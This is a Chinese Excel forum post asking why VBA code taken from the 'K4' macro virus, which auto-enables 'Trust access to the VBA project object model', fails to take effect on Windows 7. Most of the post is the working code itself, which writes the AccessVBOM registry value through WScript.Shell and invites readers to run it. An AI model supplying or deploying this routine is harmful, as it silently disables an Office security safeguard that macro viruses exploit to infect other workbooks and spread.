|
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件 ★ 免费下载 ★ ★ 使用帮助★
关于 "信任对 Visual Basic 工程对象的访问",
自动勾选的代码,在K4宏毒中是这样的。经测试,结果分2种情况:
1)如果是win xp系统+excel 2000~2010均能自动勾选并有效。
2)如果是win 7系统+excel 2010能自动勾选,虽然已经勾选了,但和没勾选一样。一定要手工再去勾选一次,才有效果。非常奇怪?报错:"programmatic access to visual basic project is not trusted". 但是检查选项发现已经被自动勾选。高手帮忙解释下,谢谢。参考帖:http://club.excelhome.net/thread-967797-1-1.html
自动勾选的代码如下: (请试运行)
Private Sub allow()
OpenDoor
For each vbcom in thisWorkbook.VBProject.VBComponents
MsgBox vbcom.type
next
End Sub
Function OpenDoor()
Dim Fso, RK1 As String, RK3 As String
Dim KValue1 As Variant
Dim VS As String
'On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
'RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
KValue1 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
'Call WReg(RK3, KValue1, "REG_DWORD")
End Function
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
|
|